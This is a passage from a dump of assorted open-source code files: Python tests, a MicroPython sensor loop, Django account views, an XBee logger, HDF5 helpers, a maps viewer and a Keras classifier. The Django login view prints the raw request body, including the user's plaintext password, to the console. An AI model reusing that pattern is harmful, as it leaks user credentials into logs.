Issue.agg_by_level(dataset=self)\n meta[\"issue_count\"] = sum(meta[\"issue_levels\"].values())\n meta[\"target_count\"] = Statement.all_counts(dataset=self, target=True)\n meta[\"last_change\"] = Statement.max_last_seen(dataset=self)\n meta[\"last_export\"] = settings.RUN_TIME\n\n meta[\"targets\"] = {\n \"countries\": self.get_target_countries(),\n \"schemata\": self.get_target_schemata(),\n }\n meta[\"resources\"] = []\n for resource in Resource.query(dataset=self):\n res = resource.to_dict()\n res[\"url\"] = self.make_public_url(resource.path)\n meta[\"resources\"].append(res)\n return meta\n\n def __eq__(self, other):\n return self.name == other.name\n\n def __hash__(self):\n return hash(self.type + self.name)\n","sub_path":"opensanctions/core/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":5593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"321635825","text":"#!/usr/bin/env python\nimport unittest\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '../..')))\n\nimport random\nfrom math import sqrt\nfrom math import isnan\n\nimport numpy\n\nimport voka.voight_kampff\n\nclass TestVoightKampff(unittest.TestCase):\n\n def setUp(self):\n mu = 0.\n sigma = 1.\n\n histogram_names = [\"Histogram%d\" % i for i in range(100)]\n self.test_hist = dict()\n for name in histogram_names:\n dist = [random.gauss(mu, sigma) for _ in range(1000)]\n self.test_hist[name] = numpy.histogram(dist)[0]\n\n \n reference_names = [\"ReferenceRun%d\" % i for i in range(5)]\n self.reference_collection = {name:dict() for name in reference_names}\n for reference_name in reference_names:\n # For each run generate a set of histograms\n # with the same structure and names as the test histograms\n \n for name in histogram_names:\n dist = [random.gauss(mu, sigma) for _ in range(1000)]\n self.reference_collection[reference_name][name] = numpy.histogram(dist)[0]\n \n def test_voight_kampff(self):\n vk = voka.voight_kampff.VoightKampff(self.reference_collection)\n result = vk.go(self.test_hist)\n print(result)\n self.assertTrue(len(result) == 100)\n\nunittest.main()\n\n","sub_path":"tests/test_voight_kampff.py","file_name":"test_voight_kampff.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"433931951","text":"from cleverdict import CleverDict\nimport pytest\nimport os\nfrom collections import UserDict\n\ndef my_example_save_function(self, name: str = \"\", value: any = \"\"):\n \"\"\"\n Example of a custom function which can be called by self._save()\n whenever the value of a CleverDict instance is created or changed.\n\n Required arguments are: self, name: str and value: any\n\n Specify this (or any other) function as the default 'save' function as follows:\n\n CleverDict.save = my_example_save_function\n \"\"\"\n output=f\"Notional save to database: .{name} = {value} {type(value)}\"\n print(output)\n with open(\"example.log\",\"a\") as file:\n file.write(output)\n\nclass Test_Core_Functionality():\n def test_creation_using_existing_dict(self):\n \"\"\" CleverDicts can be creates from existing dictionaries \"\"\"\n x = CleverDict({'total':6, 'usergroup': \"Knights of Ni\"})\n assert x.total == 6\n assert x['total'] == 6\n assert x.usergroup == \"Knights of Ni\"\n assert x['usergroup'] == \"Knights of Ni\"\n\n def test_creation_using_existing_UserDict(self):\n \"\"\" CleverDicts can be creates from existing UserDict objects \"\"\"\n u = UserDict({'total':6, 'usergroup': \"Knights of Ni\"})\n x = CleverDict(u)\n assert x.total == 6\n assert x['total'] == 6\n assert x.usergroup == \"Knights of Ni\"\n assert x['usergroup'] == \"Knights of Ni\"\n\n def test_creation_using_keyword_arguments(self):\n \"\"\" CleverDicts can be created using keyword assignment \"\"\"\n x = CleverDict(created = \"today\", review = \"tomorrow\")\n assert x.created == \"today\"\n assert x['created'] == \"today\"\n assert x.review == \"tomorrow\"\n assert x['review'] == \"tomorrow\"\n\n def test_creation_using_vars(self):\n \"\"\" Works for 'simple' data objects i.e. no methods just data \"\"\"\n class My_class:\n pass\n m = My_class()\n m.subject = \"Python\"\n x = CleverDict(vars(m))\n assert x.subject == \"Python\"\n assert x['subject'] == \"Python\"\n\n def test_conversion_of_invalid_attribute_name(self):\n \"\"\"\n x.1 is an invalid attribute name in Python, so CleverDict\n will convert this to x._1\n \"\"\"\n x = CleverDict({1: \"First Entry\", \" \": \"space\", \"??\": \"question\"})\n assert x._1 == \"First Entry\"\n\n def test_value_change(self):\n \"\"\" New attribute values should update dictionary keys & vice versa \"\"\"\n x = CleverDict()\n x.life = 42\n x['life'] = 43\n assert x.life == 43\n assert x['life'] == 43\n x.life = 42\n assert x.life == 42\n assert x['life'] == 42\n\nclass Test_Save_Functionality():\n\n def delete_log(self):\n try:\n os.remove(\"example.log\")\n except FileNotFoundError:\n pass\n\n def test_save_on_creation(self):\n \"\"\" Once set, CleverDict.save should be called on creation \"\"\"\n CleverDict.save = my_example_save_function\n self.delete_log()\n x = CleverDict({'total':6, 'usergroup': \"Knights of Ni\"})\n with open(\"example.log\",\"r\") as file:\n log = file.read()\n assert log == \"Notional save to database: .total = 6 Notional save to database: .usergroup = Knights of Ni \"\n self.delete_log()\n\n def test_save_on_update(self):\n \"\"\" Once set, CleverDict.save should be called after updates \"\"\"\n x = CleverDict({'total':6, 'usergroup': \"Knights of Ni\"})\n self.delete_log()\n CleverDict.save = my_example_save_function\n x.total += 1\n with open(\"example.log\",\"r\") as file:\n log = file.read()\n assert log == \"Notional save to database: .total = 7 \"\n self.delete_log()\n\nclass MyClass(CleverDict):\n def __init__(self,id):\n self.id = id\n","sub_path":"cleverdict/test_cleverdict.py","file_name":"test_cleverdict.py","file_ext":"py","file_size_in_byte":3871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"321925158","text":"from essentials import do_connect, http_get, do_deepsleep, blink, local_time\n\ndo_connect(ESSID, PWD)\nblink(2)\n\n\"\"\" Lightning sensor begin \"\"\"\n\nfrom time import sleep\nfrom AS3935 import ESP_AS3935\nfrom machine import Pin, I2C\ngc.collect()\n\n#sda, scl 2, 4, 5, 12, 13, 14\n#IRQ 13\np_irq = Pin(13, Pin.IN) # create input pin on GPIO13\ni2c = I2C(scl=Pin(5, Pin.OUT), sda=Pin(4, Pin.OUT), freq=50000)\nsensor = ESP_AS3935(i2c=i2c, indoors=True, noise_floor=1)\n\nprint('Config: Indoors {0:s}, Noiselevel {1:d}, Min_Strikes {2:d}'.format(str(sensor.get_indoors()), sensor.get_noise_floor(), sensor.get_min_strikes()))\n\nprint('Finished Init ..entering loop {0:s}'.format(local_time()))\nj=0\nwhile True:\n blink(1)\n inter = p_irq.value()\n if inter == 1:\n sleep(0.5)\n reason = sensor.get_interrupt()\n if reason == 0x01:\n print('Noise level too high - adjusting {0:s}'.format(local_time()))\n sensor.raise_noise_floor()\n continue\n elif reason == 0x04:\n print('Disturber detected - masking {0:s}'.format(local_time()))\n sensor.set_mask_disturber(True)\n continue\n elif reason == 0x08:\n distance = sensor.get_distance()\n energy = sensor.get_energy()\n print('We sensed lightning! - {0:s}'.format(local_time()))\n print(\"It was {0:4d} km away. Energy: {1:d}\".format(distance, energy))\n local_time()\n print(\"\")\n #elif reason == 0x00:\n # print(\"Reason: {0:d}; New distance estimate {1:d} km away\".format(reason, sensor.get_distance()))\n\n if j == 5*12*12:\n print('..running at {0:s}'.format(local_time()))\n #sensor.calibrate()\n j=0\n else:\n j=j+1\n #gc.collect()\n sleep(15)\n","sub_path":"MicroPython/esp8266/esp8266-AS3935/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"20405772","text":"from math import *\n\ndef prime(x):\n if x <= 1:\n return False\n if (x % 2 == 0) and (x != 2):\n return False\n for i in range(3, int(sqrt(x)) + 1, 2):\n if x % i == 0:\n return False\n return True\n\nnums = [0]*1000000\nnums[0] = 1\nnums[1] = 1\nfor i in range(2, 1000000):\n if nums[i] == 0 and prime(i):\n for j in range(i*2, 1000000, i):\n nums[j] = 1\nprimes = [2]\nfor i in range(3, 1000000, 2):\n if nums[i] == 0:\n primes.append(i)\n\n\n\ndef conseqCore(num, length, currSum, start, curr, overBefore):\n if currSum == num:\n return length\n if currSum < num:\n if overBefore:\n return 0\n else:\n return conseqCore(num, length + 1, currSum + primes[curr], start,curr + 1, overBefore)\n return conseqCore(num, length - 1, currSum - primes[start], start + 1, curr, True)\n\n\ndef conseq(num):\n return conseqCore(num, 0, 0, 0, 0, False)\n\nmax = 0\nmaxPrime = 0 \nfor prime in primes:\n print(prime)\n x = conseq(prime)\n if x > max:\n max = x\n maxPrime = prime\n\nprint(maxPrime)\n","sub_path":"questions/50.py","file_name":"50.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"109444599","text":"import sys\r\nsys.setrecursionlimit(10**7)\r\ninput = sys.stdin.readline\r\n\r\n\r\ndef dfs(x, y):\r\n global cnt\r\n if not visited[x][y]:\r\n visited[x][y] = True\r\n if graph[x][y] == 1:\r\n cnt += 1\r\n for i in range(4):\r\n nx, ny = x + dx[i], y + dy[i]\r\n if 0 <= nx < N and 0 <= ny < N:\r\n if not visited[nx][ny]:\r\n dfs(nx, ny)\r\n\r\n\r\nN = int(input())\r\ngraph = []\r\nresult = []\r\ndx = [1, -1, 0, 0]\r\ndy = [0, 0, 1, -1]\r\ncnt = 0\r\nfor _ in range(N):\r\n graph.append(list(map(int, input().rstrip())))\r\nvisited = [[False for _ in range(N)] for _ in range(N)]\r\n\r\nfor i in range(N):\r\n for j in range(N):\r\n dfs(i, j)\r\n if cnt != 0:\r\n result.append(cnt)\r\n cnt = 0\r\nresult.sort()\r\nprint(len(result))\r\nfor i in range(len(result)):\r\n print(result[i])\r\n\r\n\"\"\"\r\n그냥 dfs���데 두 번 틀렸다.\r\n습관처럼 쓰던 식을 써서 틀렸다. 없어도 되는 식인데...\r\n모르는 것보다 대충 아는게 더 안 좋은 건데 dfs bfs를 이제 잘 한다고 생각했는데 더 해야겠다!\r\n\r\n풀이\r\n그냥 dfs를 썼다.\r\n\"\"\"","sub_path":"season2/season2/week8/minkyu/2667.py","file_name":"2667.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"236687225","text":"from rest_framework import viewsets\nfrom gv_search_engine.models import *\nfrom gv_search_engine.views import wish_list_view\nfrom gv_search_engine.serializers import customer_serializer\nfrom rest_framework.permissions import *\nfrom django.contrib.auth.models import User, Group\nfrom django.shortcuts import render\nfrom django.views.generic.base import TemplateView\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth import logout, login, authenticate\nfrom django.http import HttpResponse, HttpResponseRedirect\nimport json\n# import sys\n# sys.path.append(\"../\")\n# from bangazon_webstore.models import customer_model\n\ndef get_current_user(request):\n customer = Customer.objects.filter(user=request.user)\n current_user = User.objects.filter(id=customer.values('user'))\n return HttpResponse(current_user)\n\ndef register_customer(request):\n '''Handles the creation of a new user for authentication\n Method arguments:\n request -- The full HTTP request object\n '''\n\n # Load the JSON string of the request body into a dict\n req_body = json.loads(request.body.decode())\n\n\n # Create a new user by invoking the `create_user` helper method\n # on Django's built-in User model\n new_user = User.objects.create_user(\n username=req_body['username'],\n password=req_body['password'],\n email=req_body['email'],\n first_name=req_body['first_name'],\n last_name=req_body['last_name']\n )\n new_customer = customer_model.Customer.objects.create(\n user = new_user,\n city = req_body['city'],\n state_province = req_body['state_province'],\n country = req_body['country'],\n postal_code = req_body['postal_code'],\n phone_number= req_body['phone_number']\n )\n\n # Commit the user to the database by saving it\n new_customer.save()\n\n return login_customer(request)\n\ndef login_customer(request):\n '''Handles the creation of a new user for authentication\n Method arguments:\n request -- The full HTTP request object\n '''\n print('request VAL VAL VAL:', request.body)\n # Load the JSON string of the request body into a dict\n req_body = json.loads(request.body.decode())\n \n # Use the built-in authenticate method to verify\n authenticated_user = authenticate(\n username=req_body['username'],\n password=req_body['password']\n )\n\n print('auth USER', authenticated_user)\n\n # If authentication was successful, log the user in\n success = True\n if authenticated_user is not None:\n login(request=request, user=authenticated_user)\n if request.user.is_authenticated():\n current_user = request.user\n print('current user, line 69', current_user);\n return HttpResponseRedirect(redirect_to='/')\n else:\n print('Probs need to register, yoooo, line 72')\n else:\n success = False\n return HttpResponseRedirect(redirect_to='/')\n\n data = json.dumps({\"success\":success})\n return HttpResponse(data, content_type='application/json')\n\n\n\ndef logout_customer(request):\n logout(request)\n print(\"YOU'VE BEEN LOGGED OUT\")\n return HttpResponseRedirect(redirect_to='/')","sub_path":"gear_voyager/gv_search_engine/views/customer_view.py","file_name":"customer_view.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"175361099","text":"'''\nCreated on 2012-12-09\n\n@author: crblackw\n'''\n\nimport serial, binascii, datetime\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom xbee import XBee\n\n\n#SERIALPORT = \"/dev/ttyUSB0\" # the com/serial port the XBee is connected to\nSERIALPORT = \"COM3\"\nBAUDRATE = 9600 # the baud rate we talk to the xbee\nTEMP_PIN = 'adc-4' # analog temperature pin\nPHOTO_PIN = 'adc-0' # analog photocell pin\n\ndef main():\n\n ser = serial.Serial(SERIALPORT, BAUDRATE)\n xbee = XBee(ser)\n\n xb = xbee.wait_read_frame()\n\n plt.ion()\n temp_data = []\n photo_data = []\n time_data = []\n temp_plot=[]\n photo_plot=[]\n time_plot=[]\n\n while True:\n # Receieve one data frame from the xbee\n xb = xbee.wait_read_frame()\n\n # Record the time for the reading\n logtime = datetime.datetime.now()\n\n # Split out the xbee data packet into variables that are easy to work with\n xid = xb['id']\n options = int(binascii.hexlify(xb['options']), 16)\n samples = xb['samples']\n aTemp = samples[0][TEMP_PIN]\n aPhoto = samples[0][PHOTO_PIN]\n rssi = -1*int(binascii.hexlify(xb['rssi']), 16)\n source_addr = int(binascii.hexlify(xb['source_addr']), 16)\n\n # Perform calculations on the analog data received to determine their processed value\n pTemp = calctemp(xb)\n pPhoto = calcphoto(xb)\n\n # Print the data stream in a nice format\n print(\"logtime: \", logtime,\"\\tid: \",xid, \"\\toptions: \", options, \"\\t\", TEMP_PIN, \": \", aTemp, \"\\t\", PHOTO_PIN,\": \",aPhoto,\"\\trssi: \", rssi, \"\\tsource_addr: \", source_addr, \"\\tpTemp: \", pTemp, \"\\tpPhoto: \", pPhoto)\n\n # Do some plotting!\n temp_data.append(pTemp)\n photo_data.append(pPhoto)\n time_data.append(logtime)\n if len(time_data) > 1:\n if int(time_data[-1].strftime('%H')) - int(time_data[-2].strftime('%H')) != 0:\n temp_plot.append(np.mean(temp_data))\n photo_plot.append(np.mean(photo_data))\n time_plot.append(time_data[-1])\n temp_data=[]\n photo_data=[]\n time_data=[]\n if len(time_plot) > 1:\n if int(time_plot[-1].strftime('%d')) - int(time_plot[-2].strftime('%d')) != 0:\n #Convert the time data into something useful\n time_plot = [int(t.strftime('%H')) for t in time_plot]\n \n #Plot the data\n fig = plt.figure(1)\n ax = fig.add_subplot(111)\n ax.set_xlabel(\"Time\")\n ax.set_ylabel(\"Photo Level [unitless]\")\n ax2 = ax.twinx()\n ax2.set_ylabel(r\"Temp [$^\\circ$C]\")\n lns1 = ax.plot(time_plot,photo_plot,'b-',label='Photocell')\n lns2 = ax2.plot(time_plot,temp_plot,'r-',label='Temperature')\n \n #Stuff to get the legend right\n lns = lns1 + lns2\n labs = [l.get_label() for l in lns]\n ax.legend(lns, labs)\n \n #Format x axis\n plt.xlim(0,23)\n plt.xticks(np.arange(0,24,1))\n \n #Create and save the plot\n plt.title(logtime.strftime('%Y-%b-%d'))\n plt.draw()\n plt.savefig('/home/crblackw/htdocs/'+logtime.strftime('%Y-%b-%d')+'.png')\n \n #Clear data for next time\n temp_plot=[]\n photo_plot=[]\n time_plot=[]\n plt.clf() \n\ndef calctemp(xb):\n try:\n data = xb['samples'][0][TEMP_PIN] # Report the millivolts from the TMP36\n except:\n print(\"calctemp exception\")\n return 0\n\n mvolts = (data / 1023.0) * 3300.0\n tempC = (mvolts - 500.0) / 10.0\n \n return tempC\n\ndef calcphoto(xb):\n try:\n data = xb['samples'][0][PHOTO_PIN] # Report the millivolts from the TMP36\n except:\n print(\"calcphoto exception\")\n return 0\n\n return data\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"Archive/watcher.py","file_name":"watcher.py","file_ext":"py","file_size_in_byte":4473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"368764476","text":"from typing import List, Union, Iterator\nimport h5py\nimport numpy as np\nfrom contextlib import contextmanager\n\nh5root = Union[h5py.File, h5py.Group]\n\n\ndef find_by_nx_class(nx_class_name: str, root: h5root) -> List[h5py.Group]:\n \"\"\"\n Find groups in the HDF5 file or group which have the\n requested NX_class attribute\n Recursively searches all subgroups of the provided file or group\n\n :param nx_class_name: Name of the NX class, one of\n https://manual.nexusformat.org/classes/base_classes\n :param root: HDF5 file or group to search\n :return: List of groups matching requested NX_class\n \"\"\"\n groups_with_requested_nx_class = []\n\n def _match_nx_class(name, object):\n if isinstance(object, h5py.Group):\n try:\n try:\n nx_class = object.attrs[\"NX_class\"].decode(\"utf8\")\n except AttributeError:\n nx_class = object.attrs[\"NX_class\"]\n if nx_class == nx_class_name:\n groups_with_requested_nx_class.append(object)\n except AttributeError:\n pass\n\n root.visititems(_match_nx_class)\n return groups_with_requested_nx_class\n\n\n@contextmanager\ndef in_memory_nexus_file_with_event_data() -> Iterator[h5py.File]:\n \"\"\"\n Creates an in-memory NeXus file with an NXentry containing\n an NXevent_data group for use in tests\n \"\"\"\n def _create_nx_class(group_name: str, nx_class_name: str,\n parent: h5root) -> h5py.Group:\n nx_class = parent.create_group(group_name)\n nx_class.attrs[\"NX_class\"] = nx_class_name\n return nx_class\n\n # \"core\" driver means file is \"in-memory\" not on disk.\n # backing_store=False prevents file being written to\n # disk on flush() or close().\n nexus_file = h5py.File('in_memory_events.nxs',\n mode='w',\n driver=\"core\",\n backing_store=False)\n try:\n entry_group = _create_nx_class(\"entry\", \"NXentry\", nexus_file)\n event_group = _create_nx_class(\"events\", \"NXevent_data\", entry_group)\n\n # Add 5 events from 4 pulses\n event_group.create_dataset(\"event_id\", data=np.array([1, 2, 3, 1, 3]))\n event_time_offset_ds = event_group.create_dataset(\n \"event_time_offset\", data=np.array([456, 743, 347, 345, 632]))\n event_time_offset_ds.attrs[\"units\"] = \"ns\"\n event_time_zero_ds = event_group.create_dataset(\"event_time_zero\",\n data=np.array([\n 1600766730000000000,\n 1600766731000000000,\n 1600766732000000000,\n 1600766733000000000\n ]))\n event_time_zero_ds.attrs[\"units\"] = \"ns\"\n event_group.create_dataset(\"event_index\", data=np.array([0, 3, 3, 5]))\n\n yield nexus_file\n finally:\n nexus_file.close()\n","sub_path":"tests/nexus_helpers.py","file_name":"nexus_helpers.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"175574656","text":"import base64\nimport Tkinter\nimport urllib\n\ndef getaddress(location, width, height, zoom):\n locationnospaces = urllib.quote_plus(location)\n address = \"http://maps.googleapis.com/maps/api/staticmap?\\\ncenter={0}&zoom={1}&size={2}x{3}&format=gif&sensor=false\"\\\n.format(locationnospaces, zoom, width, height)\n return address\n\ndef getmap(location, width, height, zoom):\n address = getaddress(location, width, height, zoom)\n urlreader = urllib.urlopen(address)\n data = urlreader.read()\n urlreader.close()\n base64data = base64.encodestring(data)\n image = Tkinter.PhotoImage(data=base64data)\n return image\n\ndef getlabelname():\n popup = Tkinter.Toplevel()\n popup.title(\"New marker\")\n label = Tkinter.Label(popup, text=\"Please enter a label for your marker\")\n label.pack()\n labelname = Tkinter.StringVar()\n textbox = Tkinter.Entry(popup, textvariable=labelname)\n textbox.pack()\n textbox.focus_force()\n \n button = Tkinter.Button(popup, text=\"Done\", command=popup.destroy)\n button.pack()\n \n popup.wait_window()\n \n text = labelname.get()\n return text\n\ndef canvasclick(event):\n x,y = event.x, event.y\n widget = event.widget\n size = 10\n widget.create_oval(x-size, y-size, x+size, y+size, width=2)\n label = getlabelname()\n widget.create_text(x, y+2*size, text=label)\n\ndef main():\n location = \"22.996346, 120.221674\"\n width = 640\n height = 480\n zoom = 18\n window = Tkinter.Tk()\n window.title('NCKU')\n window.minsize(width, height)\n mapimage = getmap(location, width, height, zoom)\n canvas = Tkinter.Canvas(window, width=width, height=height)\n canvas.create_image(0,0,image=mapimage,anchor=Tkinter.NW)\n canvas.bind(\"\", canvasclick)\n canvas.pack()\n window.mainloop()\nif __name__ == \"__main__\":\n main()","sub_path":"getmap.py","file_name":"getmap.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"556689325","text":"# INSPIRERT av MLP fra http://nadbordrozd.github.io/blog/2017/08/12/looking-for-the-text-top-model/\n\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.utils import to_categorical\nfrom keras.layers import Dense, Dropout, Activation\nimport numpy as np\nfrom keras.models import Model, Sequential, load_model\nimport time\nimport os\nimport datetime\nimport pickle\nimport re\nimport evaluator2\nimport utils\nfrom sklearn.metrics import accuracy_score\n\n\ndef train_mlp(TRAINING_SET, BATCH_SIZE, VOCAB_SIZE, MAX_SEQUENCE_LENGTH,EPOCHS, FOLDER_TO_SAVE_MODEL, LOSS_MODEL, VECTORIZATION_TYPE, VALIDATION_SPLIT):\n '''Training model'''\n\n start_time = time.time()\n\n ## Preprocessing\n vocab_size =VOCAB_SIZE\n VALIDATION_SPLIT=float(VALIDATION_SPLIT)\n EPOCHS=int(EPOCHS)\n BATCH_SIZE=int(BATCH_SIZE)\n VOCAB_SIZE=int(VOCAB_SIZE)\n\n x_train, y_train, tokenizer, num_classes, labels_index = fasttextTrain2mlp(TRAINING_SET, MAX_SEQUENCE_LENGTH, vocab_size\n ,VECTORIZATION_TYPE, folder = False)\n\n ####Preparing test_set\n\n model = Sequential()\n model.add(Dense(512, input_shape=(MAX_SEQUENCE_LENGTH,)))\n model.add(Activation('relu'))\n model.add(Dropout(0.2))\n model.add(Dense(512, input_shape=(vocab_size,)))\n model.add(Activation('relu'))\n model.add(Dropout(0.2))\n model.add(Dense(num_classes))\n model.add(Activation('softmax'))\n\n\n model.summary()\n model.compile(loss=LOSS_MODEL,\n optimizer='adam',\n metrics=['accuracy'])\n\n\n model.fit(x_train, y_train,\n batch_size=BATCH_SIZE,\n epochs=EPOCHS,\n verbose=1,\n validation_split= VALIDATION_SPLIT\n )\n\n #Lagre modell\n model_time_stamp = '{:%Y%m%d%H%M}'.format(datetime.datetime.now())\n model_directory = os.path.join(FOLDER_TO_SAVE_MODEL ,\"mlp-\" + str(vocab_size) + \"-\" + str(MAX_SEQUENCE_LENGTH) + \"-\" + str(\n EPOCHS) + \"-\" + str(model_time_stamp))\n if not os.path.exists(model_directory):\n os.makedirs(model_directory)\n\n\n save_model_path = os.path.join(model_directory,\"model.bin\")\n model.save(save_model_path)\n\n\n time_elapsed = time.time() - start_time\n # Skrive nøkkelparametere til tekstfil\n utils.log_model_stats(model_directory,TRAINING_SET,x_train\n ,num_classes, vocab_size, MAX_SEQUENCE_LENGTH\n , EPOCHS, time_elapsed, save_model_path,\n LOSS_MODEL, VECTORIZATION_TYPE,VALIDATION_SPLIT, word2vec= None)\n\n #Lagre tokenizer\n with open(model_directory+'/tokenizer.pickle', 'wb') as handle:\n pickle.dump(tokenizer, handle, protocol=pickle.HIGHEST_PROTOCOL)\n #Lagre label_indexes\n with open(model_directory+'/label_indexes.pickle', 'wb') as handle:\n pickle.dump(labels_index, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\n\n print(\"Modell ferdig trent og lagret i \"+ model_directory)\n return model_directory\n\ndef test_mlp(TEST_SET, MODEL_DIRECTORY, k_output_labels, isMajority_rule=True):\n #TEST_SET = deweys_and_texts\n '''Test module for MLP'''\n #format of test_set [[dewey][text_split1, text_split2,text_split3]]\n #Loading model\n model = load_model(os.path.join(MODEL_DIRECTORY,'model.bin'))\n\n # loading tokenizer\n with open(os.path.join(MODEL_DIRECTORY,\"tokenizer.pickle\"), 'rb') as handle:\n tokenizer = pickle.load(handle)\n # loading label indexes\n with open(os.path.join(MODEL_DIRECTORY ,\"label_indexes.pickle\"), 'rb') as handle:\n labels_index = pickle.load(handle)\n\n # Loading parameters like max_sequence_length, vocabulary_size and vectorization_type\n with open(os.path.join(MODEL_DIRECTORY,\"model_stats\"), 'r') as params_file:\n params_data = params_file.read()\n\n re_max_seq_length = re.search('length:(.+?)\\n', params_data)\n if re_max_seq_length:\n MAX_SEQUENCE_LENGTH = int(re_max_seq_length.group(1))\n print(\"Max sequence length:{}\".format(MAX_SEQUENCE_LENGTH))\n re_vocab_size = re.search('size:(.+?)\\n', params_data)\n if re_vocab_size:\n vocab_size = int(re_vocab_size.group(1))\n print(\"Vocabulary size: {}\".format(vocab_size))\n\n re_vectorization_type = re.search('type:(.+?)\\n',params_data)\n if re_vectorization_type:\n vectorization_type = re_vectorization_type.group(1)\n print(\"This utilizes the vectorization: {}\".format(str(vectorization_type)))\n\n\n\n if isMajority_rule == True:\n predictions, test_accuracy= mlp_majority_rule_test(test_set_dewey=TEST_SET,MODEL=model,\n MAX_SEQUENCE_LENGTH=MAX_SEQUENCE_LENGTH,\n TRAIN_TOKENIZER = tokenizer,\n LABEL_INDEX_VECTOR = labels_index,\n VECTORIZATION_TYPE=vectorization_type,k_output_labels= k_output_labels)\n\n else:\n x_test, y_test = fasttextTest2mlp(TEST_SET, MAX_SEQUENCE_LENGTH, vocab_size, tokenizer, labels_index, VECTORIZATION_TYPE= vectorization_type)\n #test_score,test_accuracy = evaluation(model,x_test,y_test, VERBOSE = 1)\n predictions = utils.prediction(model, x_test, k_output_labels, labels_index)\n\n #print('Test_score:', test_score)\n #print('Test Accuracy', test_accuracy)\n # Writing results to txt-file.\n with open(os.path.join(MODEL_DIRECTORY,\"result.txt\"),'a') as result_file:\n result_file.write('Test_accuracy:' + str(test_accuracy)+'\\n\\n')\n return predictions\n\n\ndef fasttextTrain2mlp(FASTTEXT_TRAIN_FILE,MAX_SEQUENCE_LENGTH, VOCAB_SIZE, VECTORIZATION_TYPE, folder):\n '''Converting training_set from fasttext format to MLP-format'''\n if folder ==False:\n dewey_train, text_train = utils.get_articles(FASTTEXT_TRAIN_FILE)\n else:\n text_names, dewey_train, text_train = utils.get_articles_from_folder(FASTTEXT_TRAIN_FILE)\n\n labels_index = {}\n labels = []\n for dewey in set(dewey_train):\n label_id = len(labels_index)\n labels_index[dewey] = label_id\n for dewey in dewey_train:\n labels.append(labels_index[dewey])\n print(\"length of labels indexes: {} \".format(len(labels_index)))\n #print(labels_index)\n print(\"Length of labels:{}\".format(len(labels)))\n num_classes = len(set(dewey_train))\n #Preparing_training_set\n tokenizer = Tokenizer(num_words= VOCAB_SIZE)\n tokenizer.fit_on_texts(text_train)\n sequences = tokenizer.texts_to_sequences(text_train)\n sequence_matrix = tokenizer.sequences_to_matrix(sequences, mode = VECTORIZATION_TYPE)\n\n data = pad_sequences(sequence_matrix, maxlen=MAX_SEQUENCE_LENGTH)\n\n labels = to_categorical(np.asarray(labels))\n\n print(labels.shape)\n\n\n x_train = data\n y_train = labels\n\n\n return x_train, y_train, tokenizer, num_classes,labels_index #x_test, y_test, num_classes\n\ndef fasttextTest2mlp(FASTTEXT_TEST_FILE,MAX_SEQUENCE_LENGTH, TRAIN_TOKENIZER, LABEL_INDEX_VECTOR, VECTORIZATION_TYPE):\n ''' Preparing test data for MLP training'''\n dewey_test, text_test = utils.get_articles(FASTTEXT_TEST_FILE)\n test_labels = []\n\n for dewey in dewey_test:\n test_labels.append(LABEL_INDEX_VECTOR[dewey.strip()])\n\n test_sequences = TRAIN_TOKENIZER.texts_to_sequences(text_test)\n test_sequence_matrix = TRAIN_TOKENIZER.sequences_to_matrix(test_sequences, mode = VECTORIZATION_TYPE)\n\n x_test = pad_sequences(test_sequence_matrix, maxlen=MAX_SEQUENCE_LENGTH)\n y_test = to_categorical(np.asarray(test_labels))\n\n return x_test, y_test\ndef mlp_majority_rule_test(test_set_dewey,MODEL,MAX_SEQUENCE_LENGTH, VOCAB_SIZE, TRAIN_TOKENIZER, LABEL_INDEX_VECTOR\n , VECTORIZATION_TYPE, k_output_labels):\n total_preds =[]\n y_test_total = []\n one_pred = []\n for i in range(len(test_set_dewey)):\n\n\n dewey =test_set_dewey[i][0]\n\n texts = test_set_dewey[i][1]\n dewey_label_index= LABEL_INDEX_VECTOR[dewey.strip()]\n y_test = []\n new_texts =[]\n\n for j in range(0, len(texts)):\n y_test.append(dewey_label_index)\n new_texts.append(' '.join(texts[j]))\n\n test_sequences = TRAIN_TOKENIZER.texts_to_sequences(new_texts)\n test_sequences_matrix = TRAIN_TOKENIZER.sequences_to_matrix(test_sequences, mode=VECTORIZATION_TYPE)\n x_test = pad_sequences(test_sequences_matrix, maxlen=MAX_SEQUENCE_LENGTH)\n y_test = to_categorical(np.asarray(y_test))\n\n\n predictions = utils.prediction(MODEL, x_test, k_output_labels, LABEL_INDEX_VECTOR)\n y_test_total.append(dewey)\n majority_rule_preds = evaluator2.majority_rule(predictions,k_output_labels)\n total_preds.append(majority_rule_preds)\n one_pred.append(majority_rule_preds[0])\n\n accuracy = accuracy_score(y_test_total, one_pred)\n return total_preds, accuracy\n\n\ndef evaluation(MODEL, X_TEST,Y_TEST, VERBOSE):\n '''Evaluates 